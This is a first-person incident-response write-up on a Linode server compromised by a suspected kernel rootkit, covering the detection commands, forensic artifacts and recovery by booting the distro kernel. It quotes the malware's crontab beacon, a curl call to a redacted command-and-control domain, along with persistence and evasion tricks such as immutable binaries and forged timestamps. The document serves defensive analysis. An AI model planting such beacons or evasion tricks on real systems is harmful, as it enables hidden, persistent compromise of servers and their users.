When the Linux System Started Lying

This is a story about an email that arrives at 1 AM and flips your night upside down. Linode (Akamai Cloud Computing Services) sent a notification with a subject line that makes your stomach drop:

We have detected an Outbound Denial of Service attack
originating from your Linode.
This is most likely the result of a system compromise.
Because of the serious nature of this activity, we have
applied network restrictions to your Linode to prevent
further abuse.

One critical point up front: discovery was reactive, not proactive. We found out from the provider, not our own monitoring. First lesson: if you don't have alerts on anomalous outbound traffic, you're always the last to know you've been compromised.

The server ran a BrainyCP control panel with dozens of WordPress sites, PHP users isolated per-account with individual php-fpm pools. A completely standard setup — and exactly the kind of target botnet operators specifically hunt for.

By correlating file timestamps, logs, and metadata we reconstructed the following sequence:

ss -tupn immediately showed dozens of DNS connections from php processes and one with no process name at all:

ESTAB  x.x.x.x:59392  8.8.8.8:53   users:(("php",pid=37234))
ESTAB  x.x.x.x:42262  8.8.8.8:53   users:(("php",pid=37232))
# dozens more DNS connections from php processes...
ESTAB  x.x.x.x:50632  y.y.y.y:61002  ← no process name!

root@server:~# lsmod
Module    Size  Used by
# ← empty. On a real server lsmod is NEVER empty.

root@server:~# find /bin /usr/bin -type f -exec file {} \;
find: 'file' terminated by signal 9
# ← rootkit kills processes scanning system directories

Empty lsmod is physically impossible on a running server without external interference. The conclusion was clear: the kernel is lying to us, and every subsequent action had to account for that.

Artifact #1 — /etc/watchdog

Root's crontab had @reboot /etc/watchdog. A 32-bit ELF binary in /etc/ is already an anomaly — but it couldn't be deleted:

root@server:/etc# file /etc/watchdog
ELF 32-bit LSB executable, Intel 80386, statically linked, stripped

root@server:/etc# lsattr /etc/watchdog
----i---------e------- /etc/watchdog
# 'i' = immutable flag — even root can't delete it

root@server:/etc# rm -f /etc/watchdog
rm: cannot remove '/etc/watchdog': Operation not permitted

# Correct approach:
root@server:/etc# chattr -i /etc/watchdog && rm -f /etc/watchdog

Artifact #2 — C2 dropper via the ccparser user

5 0 * * * /usr/bin/curl --silent http://[REDACTED-C2-DOMAIN]/parser.php > /dev/null
# every night at 00:05 — polling the C2 server for new instructions

Classic beacon architecture: the malware polls its command-and-control server daily for updated instructions and new payloads. This channel almost certainly delivered the April 29 binary.

Artifact #3 — the replaced /bin/kmod

Modify: 2026-04-30 12:32:42
Change: 2026-05-01 06:46:04
Birth:  2026-05-01 06:46:04
# kmod is what lsmod symlinks to. The replacement always returned empty output.

When standard find was being killed by the malware, searching by inode number bypassed the block entirely:

root@server:~# stat /usr/bin/php74/bin/php-fpm
Inode: 1071637   Links: 1
Modify: 2007-12-25 09:50:38  ← time-stomp: PHP 7.4 didn't exist in 2007

root@server:~# find / -inum 1071637
/home/[CLIENT]/.../CMB2/includes/types/CMB2_Type_Wysiwyg.php
/usr/bin/php74/bin/php-fpm
# one inode — two paths. This is a hardlink.

The file in the plugin directory also had 0000 permissions — blocking any scanner that tried to read it. But the attackers made a classic mistake: ctime can't be forged through ordinary means — it updates on every chmod call.

Size: 2905   Inode: 1071637
Access: (0000/----------)   ← all permissions stripped
Modify: 2023-11-07 08:08:17  ← forged "old" date
Change: 2026-05-05 21:02:56  ← file is alive right now

Once a malicious LKM is loaded, the OS can no longer be trusted as a source of truth. While we couldn't extract the module for analysis, the behavioral indicators were consistent with a kernel-level compromise. The suspected attack chain:

Iterating directly through /proc — bypassing the compromised ps — exposed dozens of hidden processes. The malware intercepted ps queries but didn't fake the physical contents of /proc/PID/ directories — that gap was the opening.

Working on a system with a lying kernel is like playing chess against an opponent who can see your moves before you make them. The only option was to change the board itself.

In the Linode panel under Configurations, the boot profile was changed from the external Linode kernel (6.15.7-x86_64-linode169) to GRUB (Legacy). After reboot, the system came up on its own Ubuntu kernel: 5.15.0-152-generic.

root@server:~# lsmod
Module              Size  Used by
drm_kms_helper    315392  4 bochs,drm_vram_helper
virtio_net         61440  0
aesni_intel       376832  0
...
# ← lsmod is alive. The suspected rootkit is dead.

root@server:~# ss -uapn | grep :53
UNCONN 0 0 127.0.0.53%lo:53  0.0.0.0:*  users:(("systemd-resolve"...))
# ← DNS flood stopped. Hundreds of connections: gone.

Cloud Firewall rules are applied before packets reach the VM. No code running inside the OS can see this firewall, let alone bypass it.